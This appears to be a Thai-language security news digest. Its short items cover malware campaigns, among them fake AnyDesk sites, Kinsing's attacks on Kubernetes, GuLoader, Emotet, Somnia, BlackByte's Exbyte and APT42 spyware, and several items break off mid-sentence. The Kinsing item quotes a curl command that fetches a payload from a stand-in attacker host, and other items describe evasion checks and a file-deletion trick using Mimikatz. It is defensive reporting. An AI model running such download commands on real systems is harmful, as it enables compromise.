พบเว็บไซต์ AnyDesk ปลอมกว่า 1,300 เว็บไซต์ เพื่อหลอกติดตั้งมัลแวร์สำหรับขโมยข้อมูล

ผู้เชี่ยวชาญจาก SEKOIA พบเคมเปญการโจมตีขนาดใหญ่ที่มีการใช้งานโดเมนกว่า 1,300 โดเมนในการปลอมเป็น Official Site ของโปรแกรมรีโมทที่ใช้งานกันแพร่หลายอย่าง AnyDesk โดยจะเปลี่ยนเส้นทางของผู้ใช้งานไปยัง Dropbox ที่ใช้สำหรับติดตั้งมัลแวร์ขโมยข้อมูลที่มีชื่อว่า Vidar ซึ่ง Host ทั้งหมดใช้มาจาก IP เดียวกันคือ 185.149.120[.]9

ปัจจุบันโดเมนส่วนใหญ่ยังคงออนไลน์อยู่ แต่ก็มีบางโดเมนถูกรายงาน และปิดโดยผู้ให้บริการ Hosting รวมไปถึงถูกบล็อกจาก AntiVirus นอกจากนี้ลิงก์ Dropbox ของเว็ปไซต์ที่เปิดอยู่จะไม่ทำงานอีกต่อไปเนื่องจากมีรายงานไฟล์ที่เป็นอันตรายไปยังผู้ให้บริการ อย่างไรก็ตามแคมเปญเหล่านี้ชี้ไปที่เว็ปไซต์ปลายทางเดียวกัน ทำให้ผู้โจมตีสามารถแก้ไขปัญหาได้โดยอัปเดต URL ดาวน์โหลดไปยังเว็ปไซต์อื่นแทน

ลักษณะการทำงาน

ในแคมเปญล่าสุดที่ค้นพบเว็ปไซต์ปลอมต์ต่าง ๆ จะทำการแจกจ่ายไฟล์ที่ชื่อ 'AnyDeskDownload.

Kinsing malware: Initial access เทคนิคที่ใช้สำหรับโจมตี Kubernetes environments

Kinsing malware เป็น malware ที่มุ่งเป้าโจมไปที่ Linux environments เพื่อทำการ Cryptojacking โดยทีม Microsoft Defender for Cloud ได้สังเกตเห็นพฤติกรรม Initial access เทคนิคของ Kinsing malware ที่ใช้ในการโจมตี Kubernetes environments ซึ่งหลัก ๆ แบ่งออกได้เป็นสองวิธีดังนี้

วิธีที่ 1 Container Image มีช่องโหว่

Kinsing malware จะพยาม scan หา container ที่มีช่องโหว่ RCE (Remote Code Execution) ที่เคยมีการเปิดเผยต่อสาธารณะแล้ว ตัวอย่าง application ที่เคยโจมตีเช่น:

PHPUnit
Liferay
WebLogic
Wordpress

หลังจากที่ได้ Remote access แล้ว Kinsing จะใช้ shell command เพื่อทำการติดตั้ง malware

“/bin/bash -c (curl -s Attacker_IP/Payload_Name.

พบกลุ่ม Hackers กำลังใช้ Google Ads เพื่อแพร่กระจายมัลแวร์จำนวนมาก

Guardio Labs และ Trend Micro บริษัทด้านความปลอดภัยได้เผยแพร่ข้อมูลเทคนิคการโจมตีของกลุ่ม Hackers ที่เริ่มหันมาใช้ Google Ads ในการหลอกล่อเป้าหมายที่กำลังค้นหาซอฟต์แวร์ เพื่อให้เหยื่อทำการดาวน์โหลดซอฟต์แวร์อันตรายที่ถูกฝังมัลแวร์ไว้โดยที่ไม่รู้ตัว

Google Ads เป็นแพลตฟอร์มช่วยโปรโมตโฆษณาบนหน้าเว็ปในการค้นหาของ Google เพื่อให้อยู่ในอันดับต้น ๆ ของรายการค้นหา ซึ่งมักจะถูกนำเสนอก่อนเว็ปไซต์ของคำค้นหา

วิธีการโจมตี

Guardio Labs และ Trend Micro ได้ค้นพบแคมเปญ typosquatting ซึ่งเป็นแคมเปญการโจมตีโดยใช้การจดโดนเมนปลอมใกล้เคียง เพื่อเลียนแบบหน้าเว็ปไซต์ของซอฟต์แวร์ยอดนิยมกว่า 200 โดเมน เช่น Grammarly, MSI Afterburner, Slack, Dashlane, Malwarebytes, Audacity, μTorrent, OBS, Ring, AnyDesk, Libre Office, Teamviewer, Thunderbird และ Brave

รวมทั้งยังได้ใช้ Google Ads ในการโปรโมตโฆษณาหน้าเว็ปปลอมบนหน้าการค้นหาของ Google และให้ขึ้นมาอยู่ในอันดับต้น ๆ ของคำค้นหานั้น เมื่อเป้าหมายกดคลิกหน้าเว็ปไซต์ปลอมเพื่อทำการดาวน์โหลดซอฟต์แวร์ ก็จะเป็นการดาวน์โหลดซอฟต์แวร์ที่ถูกฝังเพย์โหลดที่เป็นอันตราย

โดยเพย์โหลดที่ฝังมากับซอฟต์แวร์จะทำการดาวน์โหลดมัลแวร์ซึ่งประกอบไปด้วย Raccoon Stealer, Vidar Stealer และ IcedID malware loader ซึ่งเพย์โหลดที่มาในรูปแบบ .ZIP หรือ .MSI จะถูกดาวน์โหลดจากบริการแชร์ไฟล์ต่าง ๆ เช่น GitHub, Dropbox หรือ Discord เพื่อหลีกเลี่ยงการตรวจจับของโปรแกรมป้องกันไวรัสบนเครื่องเป้าหมาย

รวมถึงเมื่อ Google ตรวจพบว่าเว็ปไซต์ที่ Google Ads เชื่อมโยงไว้นั้นเป็นอันตราย โฆษณานั้นจะถูกบล็อกและลบออก ดังนั้น Hackers จึงใช้เทคนิคเลี่ยงการตรวจสอบของ Google Ads ด้วยการหลอกล่อให้เป้าหมายคลิกโฆษณาไปยังเว็ปไซต์ที่ไม่มีอันตรายที่สร้างโดย Hackers ก่อน จากนั้นก็จะทำการปลี่ยนเส้นทางไปยังเว็ปไซต์ดาวน์โหลดซอฟต์แวร์อันตรายอีกครั้งหนึ่ง

วิธีการป้องกัน

ระมัดระวังการคลิกชมโฆษณาบน Google Ads / ตรวจสอบ URL ของลิงค์เว็ปไซต์ที่ต้องการค้นหา
เปิดใช้งานตัวบล็อกโฆษณาบนเว็บเบราว์เซอร์

ที่มา : bleepingcomputer

มัลแวร์ GuLoader ใช้เทคนิคใหม่ในการหลบเลี่ยงการตรวจจับจาก Security Software

นักวิจัยด้านความปลอดภัยทางไซเบอร์จาก CrowdStrike ออกมาเปิดเผยการค้นพบเทคนิคใหม่ในชื่อ “Blindside” ซึ่งถูกใช้โดยมัลแวร์ที่มีชื่อว่า GuLoader ซึ่งสามารถหลีกเลี่ยงการตรวจจับ (Defense Evasion) จาก Security Software ได้

GuLoader หรือ CloudEyE เป็น Visual Basic Script (VBS) downloader ที่ถูกใช้เพื่อแพร่กระจายโทรจันที่ถูกควบคุมจากระยะไกล (Remote Access Trojans RAT) ในชื่อ Remcos รวมไปถึง JavaScript malware ที่มีชื่อว่า RATDispenser

วิธีการโจมตี

โดย Visual Basic Script (VBS) ที่ถูกออกแบบมาของ GuLoader จะเรียกใช้ shellcode ที่ฝังมาลงในหน่วยความจำบนเครื่องเหยื่อหลังจากผ่านกระบวนการตรวจสอบ และหลีกเลี่ยงการตรวจจับดังนี้

ทำการสแกนหน่วยความจำของค่าสตริงที่เกี่ยวข้องกับ virtual machine (VM) / virtualization software หากพบจะหยุดการทำงานของ shellcode
หลบหลีกการวิเคราะห์ และป้องกันการ debug ในระหว่างการดำเนินการ โดยจะแสดงข้อความ error message หากพบว่ากำลังถูกตรวจสอบ

จากนั้นจึงจะทำการดาวน์โหลด payload การติดตั้งโทรจันที่สามารถใช้ควบคุม สั่งการเครื่องเหยื่อจากระยะไกล (Remote Access Trojans RAT) เพื่อให้ Hacker สามารถโจมตี และสั่งการได้จากระยะไกลได้

รวมถึง CrowdStrike ยังพบว่า GuLoader ได้ใช้เทคนิคใหม่ที่เรียกว่า "Redundant Code Injection Mechanism" หรือที่ถูกเรียกในชื่อ “Blindside” เพื่อหลีกเลี่ยง NTDLL.dll hooking ซึ่งเป็นเทคนิคที่ endpoint detection and response (EDR) ใช้ในการตรวจับ process ที่น่าสงสัยบน Windows โดยการตรวจสอบจาก windows API

ซึ่ง Cymulate บริษัทด้านความปลอดภัยทางไซเบอร์ได้เผยแพร่ตัวอย่างการโจมตี (PoC) ออกมาแล้วในปัจจุบัน

ที่มา : thehackernews

“Aikido Wiper” เครื่องมือที่สามารถสั่ง Antivirus และ EDR ลบข้อมูลบนเครื่องได้

นักวิจัยด้านความปลอดภัยจาก Yair ค้นพบวิธีการใช้ช่องโหว่จากความสามารถของ Endpoint Detection and Response (EDR) และ Anti-Virus (AV) ที่ใช้กันอย่างแพร่หลายอย่าง Microsoft, SentinelOne, TrendMicro, Avast และ AVG ที่อยู่บนระบบของเหยื่อ เพื่อปกปิดพฤติกรรมการโจมตี, หลีกเลี่ยงการใช้สิทธิผู้ใช้งานระดับสูงในการโจมตี และสามารถลบทำลายข้อมูลได้ ซึ่งเป็นการโจมตีลักษณะเดียวกับ Wipers Malware โดยตั้งชื่อว่า “Aikido Wiper”

Wipers Malware คือ มัลแวร์ชนิดพิเศษที่มีเป้าหมายในการลบ หรือทำลายข้อมูลในระบบที่ถูกโจมตี และป้องกันไม่ให้เหยื่อสามารถกู้คืนข้อมูลได้

การค้นพบช่องโหว่

AV และ EDR มีความสามารถในการสแกนไฟล์ของคอมพิวเตอร์ เพื่อค้นหาไฟล์ที่เป็นอันตราย รวมถึงโหมด Real-Time Protection ที่จะสแกนไฟล์โดยอัตโนมัติ เมื่อไฟล์ถูกสร้างขึ้น และทำการวิเคราะห์ว่าไฟล์นั้นเป็นอันตรายหรือไม่ และถ้าพบว่าไฟล์นั้นเป็นอันตราย ก็จะถูกลบ (Deleted)/ กักกัน(Quarantined) ทันที โดยมี 2 กระบวนการ คือ กระบวนการแรก AV หรือ EDR ระบุได้ว่าไฟล์นั้นเป็นอันตราย และกระบวนการถัดมา AV หรือ EDR ดำเนินการลบไฟล์ที่เป็นอันตราย

แต่ถ้าหากเกิดมีการเปลี่ยนแปลงที่อยู่ของไฟล์ จะทำให้ AV หรือ EDR เปลี่ยนเปลี่ยนแปลงที่อยู่ของไฟล์ที่จะดำเนินการลบไปด้วย ซึ่งวิธีการนี้คือช่องโหว่ที่เรียกว่า time-of-check to time-of-use (TOCTOU)

ลักษณะการโจมตี

นักวิจัยได้ทำการทดสอบการใช้ช่องโหว่ time-of-check to time-of-use (TOCTOU) ด้วยขั้นตอนดังนี้

สร้างไฟล์ที่เป็นอันตรายที่ C:\temp\Windows\System32\drivers\ Mimikatz (ซึ่งไฟล์ Mimikatz จะถูกเปลี่ยนชื่อไฟล์เป็น ndis.

Emotet Malware กลับมาอยู่ภายใต้ความสนใจของนักวิจัยอีกครั้ง

Emotet เป็น Trojan Banking ที่เคยประสบความสำเร็จ และได้รับความนิยมอย่างมากมาก่อน ซึ่งในช่วงต้นปี 2021 นั้น มีการรณรงค์ให้มีการป้องกัน Malware ดังกล่าว ทำให้ Campaign ของการโจมตีหยุดชะงักไปช่วงหนึ่ง แต่ Emotet ก็กลับมาอีกครั้งในปีเดียวกัน พร้อมกับเทคนิคหลาย ๆ อย่างแบบเดิม รวมถึงเทคนิคการใช้ Auto_Open Macros ภายใน XLS document ที่พบมากขึ้นในช่วงต้นเดือนพฤศจิกายน 2022 ที่ผ่านมานี้ ซึ่งกำลังถูกแพร่กระจายไปยังหลาย ๆ ประเทศทั่วโลก

เทคนิคการโจมตี

ในช่วงเริ่มต้นการโจมตี Emotet จะมีการส่งไฟล์ MS Office ที่เป็นอันตราย (maldocs) ผ่านทาง Phishing Email โดยในการส่ง Malware จะมีการแนบไฟล์ XLS มากับอีเมลโดยตรง หรือมาในรูปแบบ file Zip ซึ่งภายใน Phishing Email นั้นจะไม่ค่อยมีเนื้อหาอะไร โดยส่วนใหญ่ที่พบจะมีเพียงชื่อไฟล์ และรหัสผ่านเท่านั้น
โดยในการส่ง Phishing เข้ามา มักจะมาในรูปแบบของผู้ส่งใหม่ หรืออาจจะมาในรูปแบบ Reply email จากเหยื่อที่ถูกโจมตีสำเร็จก่อนหน้า ตามภาพด้านล่าง

จากนั้น Emotet จะโน้มน้าวให้เหยื่อคัดลอกตัว maldoc นี้ ไปยังโฟลเดอร์ที่ได้รับอนุญาตเป็นพิเศษ ที่ไม่ได้มีการเปิดใช้งานการป้องกัน Macro ไว้ เพื่อหลีกเลี่ยงการตรวจจับจาก Microsoft’s protection ดังรูปด้านล่าง ที่จะมีการแนะนำให้ย้ายไฟล์ดังกล่าวไปโฟลเดอร์ที่ Emotet ได้ระบุไว้

และหากเหยื่อหลงเชื่อเอาไฟล์ดังกล่าวไปไว้ตามคำแนะนำของ Emotet แล้ว หลังจากเปิดไฟล์ขึ้นมา จะไม่มีข้อความเกี่ยวกับ Macro ที่ถูกบล็อคอยู่อีกต่อไป ซึ่งหลังจากนี้ไฟล์ที่เปิดขึ้นมาจะไม่มีข้อจำกัดใด ๆ ในการรัน Macro

หลังจากเปิดเอกสารขึ้นมาแล้วอาจจะดูเหมือนว่าภายในเอกสารนั้นไม่มีอะไร แต่ว่าเบื้องหลังนั้นมี VBA macro ซ่อนอยู่ ซึ่งจะมีที่อยู่ของ C2 Server ของ Emotet อยู่ ซึ่งสามารถตรวจสอบได้โดยการยกเลิกการซ่อน sheets (Un-hiding) และคัดลอกข้อความไปวางบน Text Editor เราก็จะเห็นเนื้อหาที่ซ่อนอยู่บน sheets นั้น ๆ ได้ตามภาพด้านล่าง

หลังจากที่เปิดไฟล์เอกสารขึ้นมา จะมีการ request ไปยัง 1 ใน URL จากรูปด้านบน ซึ่งจะเห็นว่าวิธีการดังกล่าวจะเหมือนกับวิธีของ Malware ตัวอื่น ๆ ที่ใช้ในอดีต เช่น Qakbot ซึ่งจะใช้ไฟล์ XLSB และเมื่อมีการเชื่อมต่อไปยังปลายทางข้างต้นแล้ว มันจะทำการดาวน์โหลดไฟล์ตามชื่อในภาพด้านบน ไปวางไว้บน C:\\Window\System32

จาก TimeStamp จะพบว่าไฟล์เอกสารพวกนี้ถูกสร้างขึ้นในช่วงต้นเดือนพฤศจิการยน 2022 ที่ผ่านมา ดังเช่นตัวอย่างของ maldoc ด้านล่างที่ได้จัดกลุ่มตามช่วงเวลาที่สร้างขึ้นมา

แนวทางการป้องกัน

พิจารณาการเพิ่ม IOC บนอุปกรณ์ Firewall
ติดตั้ง Anti-Virus หรือ Endpoint Protection บนเครื่องคอมพิวเตอร์ภายในองค์กรเพื่อป้องกันการเปิดไฟล์ที่เป็นอันตราย
พิจารณาการจัด Awareness Training ให้กับพนักงานภายในองค์กร

ที่มา : blog.

แฮ็กเกอร์รัสเซียใช้แรนซัมแวร์สายพันธุ์ใหม่ Somnia โจมตีหลายองค์กรในยูเครน

หน่วยงานทางด้านความปลอดภัยทางไซเบอร์ของยูเครน (CERT-UA) ประกาศแจ้งเตือนการแพร่กระจายของแรนซัมแวร์สายพันธุ์ใหม่ที่ชื่อว่า Somnia โดยระบุว่าเป็นปฏิบัติการภายใต้ชื่อว่า 'From Russia with Love' (FRwL) โดยกลุ่ม Z-Team หรืออีกชื่อหนึ่งคือ UAC-0118 โดยการฝังมัลแวร์ไว้บนเว็บไซต์ปลอมเพื่อใช้สำหรับขโมยข้อมูล และเพื่อขัดขวางการทำงานขององค์กรต่าง ๆ ในยูเครน

โดยกลุ่มแฮ็กเกอร์ได้ใช้เว็บไซต์ปลอมที่เลียนแบบซอฟต์แวร์ "Advanced IP Scanner" เพื่อหลอกให้พนักงานขององค์กรต่าง ๆ ในยูเครนให้ดาวน์โหลดโปรแกรมมาติดตั้ง ซึ่งจริง ๆ แล้วโปรแกรมดังกล่าวคือมัลแวร์ Vidar stealer ซึ่งจะถูกใช้เพื่อขโมย Telegram session เพื่อเข้าควบคุมบัญชี Telegram ของเหยื่อ

โดย **CERT-UA ระบุว่าแฮ็กเกอร์จะใช้บัญชี Telegram ของเหยื่อเพื่อขโมยข้อมูลการเชื่อมต่อ VPN (authentication และ certificates) โดยถ้าบัญชี VPN ไม่ได้มีการเปิดใช้งาน multi-factor authentication แฮ็กเกอร์จะใช้บัญชีดังกล่าวเพื่อเข้าถึงเครือข่ายขององค์กรของเหยื่อ

จากนั้นแฮ็กเกอร์จะติดตั้ง Cobalt Strike beacon, Netscan, Rclone, Anydesk, และ Ngrok เพื่อปฏิบัติการรูปแบบอื่นๆ บนเครือข่ายของเหยื่อต่อไป

CERT-UA ระบุว่าตั้งแต่ฤดูใบไม้ผลิปี 2022 เป็นต้นมา ปฏิบัติการ FRwL ได้ทำการโจมตีคอมพิวเตอร์ขององค์กรยูเครนไปแล้วหลายครั้ง โดยประเภทไฟล์ที่เป็นเป้าหมายในการโจมตีของ Somnia ประกอบไปด้วย ไฟล์เอกสาร, รูปภาพ, ฐานข้อมูล, ไฟล์วิดีโอ และอื่น ๆ

โดย Somnia จะต่อท้ายนามสกุลไฟล์ที่ถูกเข้ารหัสด้วย .somnia แต่จะไม่มีการเรียกเงินค่าไถ่จากเหยื่อในกรณีที่เหยื่อต้องการจ่ายเงินสำหรับตัวถอดรหัสของไฟล์ที่ถูกเข้ารหัสไว้ เนื่องจากเป้าหมายของ Somnia คือการขัดขวางกระบวนการทำงานของเป้าหมายมากกว่าที่จะเป็นการสร้างรายได้จากการโจมตี ดังนั้นมัลแวร์ดังกล่าวน่าจะถูกสร้างมาเพื่อทำลายล้างมากกว่าการเรียกค่าไถ่แบบเดียวกับแรนซัมแวร์อื่นๆ

แนวทางการป้องกัน

ตรวจสอบแหล่งที่มาของไฟล์ก่อนดาวน์โหลด
เปิดใช้งาน Multi-Factor Authentication

ที่มา : bleepingcomputer

กลุ่ม BlackByte Ransomware ใช้เครื่องมือเวอร์ชันใหม่สำหรับการขโมยข้อมูล

กลุ่ม BlackByte ransomware มีการใช้งานเครื่องมือเวอร์ชันใหม่ในการขโมยข้อมูล ซึ่งเป็นเครื่องมือที่ถูกสร้างขึ้นเองชื่อว่า 'ExByte' เพื่อใช้ขโมยข้อมูลจากอุปกรณ์ Windows ที่ถูกโจมตีได้อย่างรวดเร็ว

การขโมยข้อมูลนี้เป็นส่วนหนึ่งของขั้นตอนที่สำคัญที่สุดในการโจมตีแบบ double-extortion โดย BleepingComputer ระบุว่าบริษัทต่างๆ จะยอมจ่ายค่าไถ่เพื่อป้องกันการรั่วไหลของข้อมูลมากกว่าการรับตัวถอดรหัส

ด้วยเหตุนี้ทำให้การทำงานของกลุ่มแรนซัมแวร์ รวมถึง ALPHV และ LockBit มีการพัฒนาอย่างต่อเนื่องเพื่อปรับปรุงเครื่องมือที่ใช้สำหรับขโมยข้อมูล

กลุ่มแฮ็กเกอร์อื่น ๆ เช่น Karakurt ไม่สนใจกับการเข้ารหัสในเครื่อง โดยจะมุ่งเน้นในการโจมตีเพื่อขโมยข้อมูลเท่านั้น

เครื่องมือที่ใช้สำหรับการขโมยข้อมูล Exbyte

Exbyte ถูกพบโดยนักวิจัยด้านความปลอดภัยที่ Symantec ซึ่งระบุว่าผู้โจมตีใช้เครื่องมือในการขโมยข้อมูลแบบ Go-based เพื่ออัปโหลดไฟล์ที่ถูกขโมยโดยตรงไปยังบริการจัดเก็บข้อมูลระบบคลาวด์ของ Mega

เมื่อเริ่มดำเนินการ เครื่องมือจะทำการตรวจสอบการป้องกันการวิเคราะห์ เพื่อตรวจสอบการทำงานว่าอยู่ใน SANDBOX หรือไม่ และตรวจหาโปรแกรม debuggers และกระบวนการป้องกันมัลแวร์

processes ที่ Exbyte จะทำการตรวจสอบ คือ:

MegaDumper 1.0 by CodeCracker / SnD
Import reconstructor
x64dbg
x32dbg
OLLYDBG
WinDbg
The Interactive Disassembler
Immunity Debugger – [CPU]

นอกจากนี้ มัลแวร์ยังตรวจสอบการมีอยู่ของไฟล์ DLL ต่อไปนี้:

avghooka.

พบแอปพลิเคชันปลอมของธนาคารอินเดีย ที่กำหนดเป้าหมายไปยังผู้ใช้งาน Android โดยการใช้มัลแวร์ขโมยข้อมูล

แคมเปญฟิชชิ่งทาง SMS มุ่งเป้าการโจมตีไปยังลูกค้าของธนาคารอินเดีย โดยการปลอมเป็นแอปพลิเคชันของธนาคารเพื่อที่จะใช้มัลแวร์ในการขโมยข้อมูล

ทีมนักวิจัยจาก Microsoft 365 Defender ระบุว่า ข้อความฟิชชิ่งจะมีลิงก์ที่เปลี่ยนเส้นทางของผู้ใช้งานไปยังเว็บไซต์ที่จะทำให้ผู้ใช้งานดาวน์โหลดแอปพลิเคชันปลอมของธนาคาร ICICI Bank

นักวิจัย Shivang Desai, Abhishek Pustakala และ Harshita Tripathi ระบุว่า "ความสามารถของมัลแวร์ทำให้ผู้โจมตีสามารถดักจับการแจ้งเตือนที่สำคัญของอุปกรณ์ เช่น ข้อความเข้า ซึ่งเป็นความพยายามในการดักจับข้อความจาก two-factor authentication (2FA)

รูปแบบการโจมตีเป็นรูปแบบเดียวกันกับ Social Engineering โดยปกติ เช่นใช้โลโก้ และชื่อแบรนด์ที่คุ้นเคย เพื่อหลอกให้ผู้ใช้งานติดตั้งแอปพลิเคชันปลอม

การโจมตีนี้เกิดขึ้นในลักษณะเดียวกันกับการเผยแพร่แอปธนาคารปลอมที่เกิดขึ้นกับธนาคารอินเดียอื่น ๆ เช่น State Bank of India (SBI) และ Axis Bank ในอดีต

เมื่อติดตั้งแล้ว แอปพลิเคชันปลอมไม่เพียงแต่ขอการอนุญาตในการเข้าถึงบัญชี แต่ยังขอให้ผู้ใช้งานป้อนข้อมูลบัตรเครดิต/เดบิตของตนซึ่งเป็นส่วนหนึ่งของกระบวนการลงชื่อเข้าใช้ ซึ่งในขณะนั้นโทรจันจะรอคำสั่งเพิ่มเติมจากผู้โจมตี

คำสั่งเหล่านี้จะทำให้มัลแวร์สามารถรวบรวมข้อมูลของระบบ บันทึกการโทร ดักจับการโทร ตลอดจนขโมยข้อมูลประจำตัวสำหรับบัญชีอีเมล เช่น Gmail, Outlook และ Yahoo

ที่มา : thehackernews

แฮ็กเกอร์กลุ่มใหม่สัญชาติอิหร่าน APT42 ใช้ spyware บน android ในการโจมตี

กลุ่มแฮ็กเกอร์กลุ่มใหม่ที่คาดว่าได้รับการสนับสนุนจากรัฐบาลอิหร่านชื่อ APT42 ถูกพบว่ามีการใช้มัลแวร์บน Android ที่ถูกสร้างขึ้นเพื่อโจมตีเป้าหมายที่ต้องการ

บริษัทผู้เชี่ยวชาญด้านความปลอดภัยทางอินเทอร์เน็ต ได้รวบรวมหลักฐานเพียงพอที่จะระบุได้ว่า APT42 เป็นกลุ่มผู้โจมตีที่ได้รับการสนับสนุนจากรัฐบาลอิหร่าน ซึ่งมีส่วนเกี่ยวข้องในการสอดแนมทางอินเทอร์เน็ตต่อบุคคล และองค์กรที่รัฐบาลอิหร่านให้ความสนใจเป็นพิเศษ

APT42 ถูกพบครั้งแรกเมื่อ 7 ปีที่แล้ว และเกี่ยวข้องกับแคมเปญ spear-phishing ที่มุ่งเป้าไปที่เจ้าหน้าที่ของรัฐ ผู้กำหนดนโยบาย นักข่าว นักวิชาการทั่วโลก และผู้คัดค้านชาวอิหร่าน

เป้าหมายของแฮ็กเกอร์คือการขโมยข้อมูลบัญชี ในหลายกรณีกลุ่มแฮ็กเกอร์ยังติดตั้งมัลแวร์บน Android ที่สามารถติดตามการเข้าถึงอุปกรณ์ จัดเก็บ และดึงข้อมูลการสื่อสารของเหยื่อได้

เป้าหมายของแคมเปญ

จากข้อมูลของ Mandiant ผู้ค้นพบ APT42 พบว่ากลุ่ม APT42 ได้ปฏิบัติการมาแล้วอย่างน้อย 30 ครั้งใน 14 ประเทศตั้งแต่ปี 2558 ซึ่งอาจเป็นข้อมูลเพียงบางส่วนเท่านั้น

กลุ่ม APT42 เปลี่ยนเป้าหมายหลายครั้งเพื่อให้ตรงกับความสนใจในการรวบรวมข่าวกรองที่เปลี่ยนแปลงไป ตัวอย่างเช่น ในปี 2563 ใช้อีเมลฟิชชิงที่แอบอ้างเป็นผู้เชี่ยวชาญวัคซีนของมหาวิทยาลัยอ็อกซ์ฟอร์ดเพื่อกำหนดเป้าหมายเป็นบริษัทเภสัชภัณฑ์จากต่างประเทศ

ในปี 2564 APT42 ใช้ที่อยู่อีเมลขององค์กรสื่อของสหรัฐฯ ที่ถูกแฮ็ก เพื่อกำหนดเป้าหมายเหยื่อด้วยคำขอสัมภาษณ์ปลอม ๆ โดยทำการติดต่อกับพวกเขาเป็นเวลานานกว่า 37 วันก่อนที่จะโจมตีด้วยการหลอกเอาข้อมูล

ไม่นานมานี้ ในเดือนกุมภาพันธ์ พ.ศ. 2565 แฮ็กเกอร์ได้ปลอมเป็นสำนักข่าวของอังกฤษมีเป้าหมายเป็นอาจารย์ด้านรัฐศาสตร์ในเบลเยียม และสหรัฐอาหรับเอมิเรตส์

ในกรณีส่วนใหญ่ แฮ็กเกอร์จะมุ่งเป้าไปที่การเก็บรวบรวมข้อมูลประจำตัว โดยหลอกเหยื่อไปยังหน้าฟิชชิ่งที่ดูเหมือนเป็น login portals ที่ถูกต้อง ด้วยการส่งลิงก์ที่ถูกย่อให้สั้นลง หรือไฟล์แนบ PDF ที่นำไปสู่หน้าที่ให้กรอกข้อมูลประจำตัว รวมไปถึงเก็บข้อมูล MFA ได้ด้วย

Android malware

มัลแวร์บนอุปกรณ์ Android ที่ใช้ในแคมเปญของกลุ่ม APT42 จะช่วยให้ผู้โจมตีติดตามเป้าหมายได้อย่างใกล้ชิด ขโมยข้อมูลการโทร SMS และแอบบันทึกเสียง

Mandiant ระบุว่า “สปายแวร์บน Android นั้นแพร่กระจายไปยังเป้าหมายที่เป็นชาวอิหร่านเป็นหลัก ผ่านทางข้อความ SMS ที่มีลิงก์ไปยังแอพส่งข้อความหรือ VPN ที่สามารถช่วยหลีกเลี่ยงข้อจำกัดที่รัฐบาลกำหนด”

Mandiant ระบุในรายงานว่า “มัลแวร์ Android โจมตีบุคคลที่รัฐบาลอิหร่านให้ความสนใจและใช้วิธีการที่มีประสิทธิภาพ เพื่อให้ได้ข้อมูลที่สำคัญเกี่ยวกับเป้าหมาย รวมทั้งข้อมูลบนโทรศัพท์มือถือ รายชื่อผู้ติดต่อ และข้อมูลส่วนบุคคล”

Mandiant ยังรายงานการค้นพบแลนดิ้งเพจสำหรับการดาวน์โหลดแอป IM เป็นภาษาอาหรับ ดังนั้น ผู้โจมตีอาจติดตั้งมัลแวร์ Android นอกประเทศอิหร่านได้ด้วย

มัลแวร์ยังมีความสามารถในการบันทึกการใช้งานโทรศัพท์ เปิดไมโครโฟน และบันทึกภาพ และถ่ายภาพตามคำสั่ง อ่านข้อความ และติดตามตำแหน่ง GPS ของเหยื่อแบบ real time

ที่มา : bleepingcomputer